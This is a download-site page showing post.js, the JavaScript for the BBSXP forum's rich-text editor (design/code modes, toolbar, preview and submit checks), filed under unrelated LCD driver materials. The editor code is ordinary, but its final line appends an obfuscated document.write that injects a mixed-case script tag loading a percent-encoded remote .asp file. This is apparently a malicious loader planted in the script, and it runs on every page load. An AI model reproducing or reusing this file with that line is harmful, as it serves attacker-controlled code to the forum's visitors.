⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 post.js

📁 S3C44B0X下的LCD (framebuffer)驱动资料与相关代码
💻 JS
📖 第 1 页 / 共 5 页
字号:
	if(NewMode!=YuZi_CurrentMode){
		YuZi_IsChangeMode = true;
		var obj=document.getElementById("BBSXPEditorIframe");
		if(YuZi_TdHeight == -1)YuZi_TdHeight = parseInt(obj.offsetHeight);
		switch(NewMode){
			case 'DESIGN':
				obj.style.height = (parseInt(obj.offsetHeight) - 81) + 'px';
		
				YuZi_EDITFORM_DOCUMENT.body.innerHTML = BBSXPClearScriptTag(document.getElementById("BBSXPCodeForm").value);
				document.getElementById("BBSXPEditorForm").style.display = 'block';
				document.getElementById("BBSXPToolBar").style.display = 'block';
				document.getElementById("BBSXPCodeForm").style.display = 'none';
				
				var EditorFormObject =document.getElementById("BBSXPEditorForm");
				EditorFormObject.style.height = parseInt(obj.offsetHeight) + 'px';
				if (parseInt(EditorFormObject.offsetHeight)< YuZi_TdHeight){EditorFormObject.style.height = YuZi_TdHeight + 'px';}

				break;
			case 'CODE':
				obj.style.height = (parseInt(obj.offsetHeight) + 77) + 'px';
				
				document.getElementById("BBSXPCodeForm").value = BBSXPHtmlToXhtml(YuZi_EDITFORM_DOCUMENT.body.innerHTML);
				document.getElementById("BBSXPToolBar").style.display = 'none';
				document.getElementById("BBSXPEditorForm").style.display = 'none';
				document.getElementById("BBSXPCodeForm").style.display = 'block';
				document.getElementById("BBSXPCodeForm").focus();
				
				var CodeFormObject=document.getElementById("BBSXPCodeForm");
				CodeFormObject.style.height = parseInt(obj.offsetHeight) + 'px';
				if (parseInt(CodeFormObject.offsetHeight)< YuZi_TdHeight){CodeFormObject.style.height = YuZi_TdHeight + 'px';}

				break;
			default:
				break;
		}
		if (parseInt(obj.offsetHeight)< YuZi_TdHeight){obj.style.height = YuZi_TdHeight + 'px';}
		try{
			document.getElementById("HtmlEditor_DESIGN").className = "StatusBarBtnOff";
			document.getElementById("HtmlEditor_CODE").className = "StatusBarBtnOff";
			document.getElementById("HtmlEditor_"+NewMode).className = "StatusBarBtnOn";
		}
		catch(e){
		}
		YuZi_CurrentMode = NewMode;
	}
}

// 调整编辑器的大小
function ChangeSize(size){
	var obj=document.getElementById("BBSXPEditorIframe");
	if(YuZi_TdHeight == -1)YuZi_TdHeight = parseInt(obj.offsetHeight);
	obj.style.height = (parseInt(obj.offsetHeight) + size) + 'px';
	if (parseInt(obj.offsetHeight)< YuZi_TdHeight){obj.style.height = YuZi_TdHeight + 'px';}
	
	if (YuZi_IsChangeMode) {
		if (YuZi_CurrentMode == 'DESIGN') {
			obj=document.getElementById("BBSXPEditorForm");
			obj.style.height = (parseInt(obj.offsetHeight) + size) + 'px';
			if (parseInt(obj.offsetHeight)< YuZi_TdHeight){obj.style.height = YuZi_TdHeight + 'px';}
		}
		else {
			if (parseInt(obj.offsetHeight)< YuZi_TdHeight+77){obj.style.height = (YuZi_TdHeight+77) + 'px';}
			
			obj=document.getElementById("BBSXPCodeForm");
			obj.style.height = (parseInt(obj.offsetHeight) + size) + 'px';
			if (parseInt(obj.offsetHeight)< YuZi_TdHeight+77){obj.style.height = (YuZi_TdHeight+77) + 'px';}
		}
	}
}

//编辑器工具栏各图标按钮
function BBSXPCreateIcon(icon)
{
	var str;
	if (icon[0] == 'YuZi_TEXTCOLOR' || icon[0] == 'YuZi_BGCOLOR') {
		if (icon[0] == 'YuZi_TEXTCOLOR')
			ExecuteCMD = 'ForeColor';
		else
			ExecuteCMD = 'BackColor';
		
		str = '<div style="POSITION: relative;border:1px solid ' + YuZi_TOOLBAR_BG_COLOR +';cursor:pointer;height:20px;width:28px" onmouseover="document.getElementById(\''+icon[0]+'RightBar\').style.borderLeft = this.style.border=\'1px solid ' + YuZi_MENU_BORDER_COLOR + '\';" onmouseout="document.getElementById(\''+icon[0]+'RightBar\').style.borderLeft = this.style.border=\'1px solid ' + YuZi_TOOLBAR_BG_COLOR + '\';" title="' + icon[2]  + '">';
		str += '<img src="' + YuZi_SKIN_PATH  + icon[1] +'" onclick="BBSXPExecuteValue(\''+ExecuteCMD+'\',\'YuZi_'+ExecuteCMD+'\');">';
		str += '<img id="'+icon[0]+'Bar" style="BACKGROUND: '+eval("YuZi_"+ExecuteCMD)+'; LEFT: 1px; POSITION: absolute; TOP: 15px" height=4 src="' + YuZi_SKIN_PATH  +'clear.gif" width=16 onclick="BBSXPExecuteValue(\''+ExecuteCMD+'\',\'YuZi_'+ExecuteCMD+'\');">';
		str += '<div id="'+icon[0]+'RightBar" style="POSITION: absolute;left:17px;top:0px;border-left:1px solid '+YuZi_TOOLBAR_BG_COLOR+';height:18px"><img id="'+ icon[0] +'" src="' + YuZi_SKIN_PATH + 'PopMenu.gif" alt="' + icon[2]  + '" align="absmiddle" onclick="BBSXPExecute(\''+ icon[0] +'\');"></div>';
		str += '</div>';
	}
	else {
		str = '<img id="'+ icon[0] +'" src="' + YuZi_SKIN_PATH + icon[1] + '" alt="' + icon[2]  + 
			'" align="absmiddle" style="border:1px solid ' + YuZi_TOOLBAR_BG_COLOR +';cursor:pointer;height:20px;';
		str += '" onclick="BBSXPExecute(\''+ icon[0] +'\');" '+
			'onmouseover="this.style.border=\'1px solid ' + YuZi_MENU_BORDER_COLOR + '\';" ' +
			'onmouseout="this.style.border=\'1px solid ' + YuZi_TOOLBAR_BG_COLOR + '\';" ';
		str += '>';
	}
	return str;
}
//编辑器工具栏
function BBSXPCreateToolbar()
{
	var htmlData = '<table cellpadding="0" cellspacing="0" border="0" height="26"><tr>';
	
	for (i = 0; i < YuZi_TOP_TOOLBAR_ICON.length; i++) {
		htmlData += '<td style="padding:2px;">' + BBSXPCreateIcon(YuZi_TOP_TOOLBAR_ICON[i]) + '</td>';
	}
		
	htmlData += '</tr></table><table cellpadding="0" cellspacing="0" border="0" height="26"><tr>';
	for (i = 0; i < YuZi_MIDDLE_TOOLBAR_ICON.length; i++) {
		htmlData += '<td style="padding:2px;">' + BBSXPCreateIcon(YuZi_MIDDLE_TOOLBAR_ICON[i]) + '</td>';
	}
		
	htmlData += '</tr></table><table cellpadding="0" cellspacing="0" border="0" height="26"><tr>';
	for (i = 0; i < YuZi_BOTTOM_TOOLBAR_ICON.length; i++) {
		htmlData += '<td style="padding:2px;">' + BBSXPCreateIcon(YuZi_BOTTOM_TOOLBAR_ICON[i]) + '</td>';
	}
		
	htmlData += '</tr></table>';
	return htmlData;
}

function BBSXPWriteFullHtml(documentObj, content)
{
	var editHtmlData = '';
	editHtmlData += '<html>\r\n<head>\r\n<title>BBSXP Editor --Powered By BBSXP</title>\r\n';
	editHtmlData += '<style type="text/css">\r\n\tbody { font-family:Courier New;font-size:12px;margin:2px;}\r\n\tBLOCKQUOTE {BORDER: #cccccc 1px dotted; PADDING: 4px; MARGIN: 16px;}\r\n</style>\r\n';
	editHtmlData += '</head>\r\n<body>\r\n';
	editHtmlData += content;
	editHtmlData += '\r\n</body>\r\n</html>\r\n';
	documentObj.open();
	documentObj.write(editHtmlData);
	documentObj.close();
}

//编辑器主函数
function BBSXPEditor(objName) 
{
	this.objName = objName;
	this.hiddenName = objName;
	this.safeMode;
	this.editorWidth;
	this.editorHeight;
	this.iconPath;
	this.menuBorderColor;
	this.menuBgColor;
	this.menuTextColor;
	this.menuSelectedColor;
	this.toolbarBorderColor;
	this.toolbarBgColor;
	this.formBorderColor;
	this.formBgColor;
	this.buttonColor;
	this.init = function()
	{
		if (this.safeMode) YuZi_SAFE_MODE = this.safeMode;
		if (this.editorWidth) YuZi_WIDTH = this.editorWidth;
		if (this.editorHeight) YuZi_HEIGHT = this.editorHeight;
		if (this.menuBorderColor) YuZi_MENU_BORDER_COLOR = this.menuBorderColor;
		if (this.menuBgColor) YuZi_MENU_BG_COLOR = this.menuBgColor;
		if (this.menuTextColor) YuZi_MENU_TEXT_COLOR = this.menuTextColor;
		if (this.menuSelectedColor) YuZi_MENU_SELECTED_COLOR = this.menuSelectedColor;
		if (this.toolbarBorderColor) YuZi_TOOLBAR_BORDER_COLOR = this.toolbarBorderColor;
		if (this.toolbarBgColor) YuZi_TOOLBAR_BG_COLOR = this.toolbarBgColor;
		if (this.formBorderColor) YuZi_FORM_BORDER_COLOR = this.formBorderColor;
		if (this.formBgColor) YuZi_FORM_BG_COLOR = this.formBgColor;
		if (this.buttonColor) YuZi_BUTTON_COLOR = this.buttonColor;
		YuZi_OBJ_NAME = this.objName;
		YuZi_BROWSER = BBSXPGetBrowser();
	}
	this.show = function()
	{
		this.init();
		var widthStyle = 'width:' + YuZi_WIDTH + ';';
		var heightStyle = 'height:' + YuZi_HEIGHT + ';';
		if (YuZi_BROWSER == '') {
			var htmlData = '<div id="BBSXPEditorIframe" style="' + widthStyle + heightStyle +';background-color:'+ YuZi_FORM_BG_COLOR +'">' +
			'<textarea name="BBSXPCodeForm" id="BBSXPCodeForm" style="' + widthStyle + heightStyle + 
			'padding:0;margin:0;border:1px solid '+ YuZi_FORM_BORDER_COLOR + 
			';font-size:12px;line-height:16px;font-family:'+YuZi_FONT_FAMILY+';background-color:'+ 
			YuZi_FORM_BG_COLOR +';">' + document.getElementsByName(this.hiddenName)[0].value + '</textarea></div>';
			document.open();
			document.write(htmlData);
			document.close();
			return;
		}
		var htmlData = '<style>TD.StatusBarBtnOff {padding:1px 5px;border:1px outset;cursor:pointer;}TD.StatusBarBtnOn {padding:1px 5px;border:1px inset;background-color: #EEEEEE;}</style>';
		
		htmlData += '<div id=BBSXPToolBar style="'+widthStyle+';border:1px solid ' + YuZi_TOOLBAR_BORDER_COLOR + ';border-bottom:0;background-color:'+ YuZi_TOOLBAR_BG_COLOR +'">';
		htmlData += BBSXPCreateToolbar();
		htmlData += '</div><div id="BBSXPEditorIframe" style="' + widthStyle + heightStyle + 
			'border:1px solid '+ YuZi_FORM_BORDER_COLOR +';background-color:'+ YuZi_FORM_BG_COLOR +'">' +
			'<iframe name="BBSXPEditorForm" id="BBSXPEditorForm" style="' + widthStyle + heightStyle + 
			'padding:0;margin:0;border:0;"></iframe>';

		
		htmlData += '<textarea name="BBSXPCodeForm" id="BBSXPCodeForm" style="' + widthStyle + heightStyle + 
				'padding:0;margin:0;border:0;font-size:12px;display:none;line-height:16px;font-family:'+YuZi_FONT_FAMILY+';background-color:'+ 
		YuZi_FORM_BG_COLOR +';" onclick="javascirit:parent.BBSXPDisableMenu();"></textarea></div>';
		
		htmlData += '<table border=0 cellpadding=0 cellspacing=0 height=20 style="margin-top:5px;">';
		htmlData += '<tr>';
		htmlData += '<td class=StatusBarBtnOn id=HtmlEditor_DESIGN onclick="setMode(\'DESIGN\')"><img border=0 src=Editor/Button/modeedit.gif align=absmiddle alt="'+YuZi_LANG['DesignMode']+'"></td>';
		htmlData += '<td width=5>&nbsp;</td>';
		htmlData += '<td class=StatusBarBtnOff id=HtmlEditor_CODE onclick="setMode(\'CODE\')"><img border=0 src=Editor/Button/modecode.gif align=absmiddle alt="'+YuZi_LANG['CodeMode']+'"></td>';
		htmlData += '<td width=5>&nbsp;</td>';
		htmlData += '<td align=right width=100%><img border=0 src=Editor/Button/+.gif align=absmiddle onclick=ChangeSize(100) style=cursor:pointer title="'+YuZi_LANG['AddEditorArea']+'"><img border=0 src=Editor/Button/-.gif align=absmiddle onclick=ChangeSize(-100) style=cursor:pointer title="'+YuZi_LANG['ReduceEditorArea']+'"></td>';
		htmlData += '</tr></table>';
		
		for (var i = 0; i < YuZi_POPUP_MENU_TABLE.length; i++) {
			if (YuZi_POPUP_MENU_TABLE[i] == 'YuZi_Replace') {
				htmlData += '<span id="InsertIframe">';
			}
			htmlData += BBSXPPopupMenu(YuZi_POPUP_MENU_TABLE[i]);
			if (YuZi_POPUP_MENU_TABLE[i] == 'YuZi_Media') {
				htmlData += '</span>';
			}
		}
		document.open();
		document.write(htmlData);
		document.close();
		if (YuZi_BROWSER == 'IE') {
			YuZi_EDITFORM_DOCUMENT = document.frames("BBSXPEditorForm").document;
		} else {
			YuZi_EDITFORM_DOCUMENT = document.getElementById('BBSXPEditorForm').contentDocument;
		}
		BBSXPDrawIframe('YuZi_Replace');
		BBSXPDrawIframe('YuZi_IMAGE');
		BBSXPDrawIframe('YuZi_Media');
		BBSXPDrawIframe('YuZi_LINK');
		YuZi_EDITFORM_DOCUMENT.designMode = 'On';
		YuZi_CurrentMode = "DESIGN";
		BBSXPWriteFullHtml(YuZi_EDITFORM_DOCUMENT, document.getElementsByName(eval(YuZi_OBJ_NAME).hiddenName)[0].value);
		var el = YuZi_EDITFORM_DOCUMENT.body;
		
		if (YuZi_EDITFORM_DOCUMENT.addEventListener){
			YuZi_EDITFORM_DOCUMENT.addEventListener('click', BBSXPDisableMenu, false);
			YuZi_EDITFORM_DOCUMENT.addEventListener('keypress', ctlent, true);
		} else if (el.attachEvent){
			el.attachEvent('onclick', BBSXPDisableMenu);
			el.attachEvent('onkeypress', ctlent);
		}
	}
	this.data = function()
	{
		var htmlResult;
		if (YuZi_BROWSER == '') {
			htmlResult = document.getElementById("BBSXPCodeForm").value;
		}
		else {
			if (YuZi_CurrentMode.toLowerCase() == 'design') {
				htmlResult = YuZi_EDITFORM_DOCUMENT.body.innerHTML;
			}
			else {
				htmlResult = document.getElementById("BBSXPCodeForm").value;
			}
		}
		BBSXPDisableMenu();
		htmlResult = BBSXPHtmlToXhtml(htmlResult);
		htmlResult = BBSXPClearScriptTag(htmlResult);
		
		htmlResult = ChangeImgPath(htmlResult);
		
		document.getElementsByName(this.hiddenName)[0].value = htmlResult;
		return htmlResult;
	}
}

//初始化编辑器
var editor = new BBSXPEditor("editor");
editor.hiddenName = "Body";
editor.show();

function ChangeImgPath(str){
	var url = location.href;
	var siteUrl = url.split("/");
	siteUrl.length = siteUrl.length-1;
	var siteStr = siteUrl.join("/");
	
	return str.replace(siteStr +"/","")
}

// 预览
function Preview()
{
	editor.data();
	Subject=document.form.Subject
	Body=document.form.Body

 	if(typeof(Subject) != "undefined" ){
		if(Subject.value.length<2){alert(YuZi_LANG['SubjectMinLen']);return false;}
  	}

 	if(typeof(Body) != "undefined" ){
		if(Body.value.length<2){alert(YuZi_LANG['BodyMinLen']);return false;}
		if(Body.value.length>60000){alert(YuZi_LANG['BodyMaxLen']);return false;}
  	}

	document.getElementById('Preview').style.display = '';
	Ajax_CallBack('form','Preview','Loading.asp?menu=Preview');
	window.location="#Preview";
}

//内容提交
function CheckForm() {
	if(YuZi_CurrentMode.toLowerCase() != 'design'){
		alert(YuZi_LANG['CurrentMode']);
		return false;
	}
	
	editor.data();
	Subject=document.form.Subject;
	Body=document.form.Body;
	VerifyCode=document.form.VerifyCode;

 	if(typeof(Subject) != "undefined" ){
		if(Subject.value.length<2){alert(YuZi_LANG['SubjectMinLen']);return false;}
  	}

 	if(typeof(Body) != "undefined" ){
		if(Body.value.length<2){alert(YuZi_LANG['BodyMinLen']);return false;}
		if(Body.value.length>60000){alert(YuZi_LANG['BodyMaxLen']);return false;}
  	}
	
	if(typeof(VerifyCode) != "undefined" ){
		if(VerifyCode.value.length<4){alert(YuZi_LANG['VerifyCode']);return false;}
  	}
}
//检测文章长度
function CheckLength(){
	editor.data();
	MessageLength=document.form.Body.value.length;
	alert("最大字符为 "+60000+ " 字节\n您的内容已有 "+MessageLength+" 字节");
}

//Ctrl + Enter 发帖
function ctlent(event){
	if(YuZi_CurrentMode.toLowerCase() != 'design'){
		alert(YuZi_LANG['CurrentMode']);
		return false;
	}
	else if(event.ctrlKey && (event.keyCode==13 || event.keyCode==10)){
		parent.document.form.EditSubmit.click();
	}
}document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -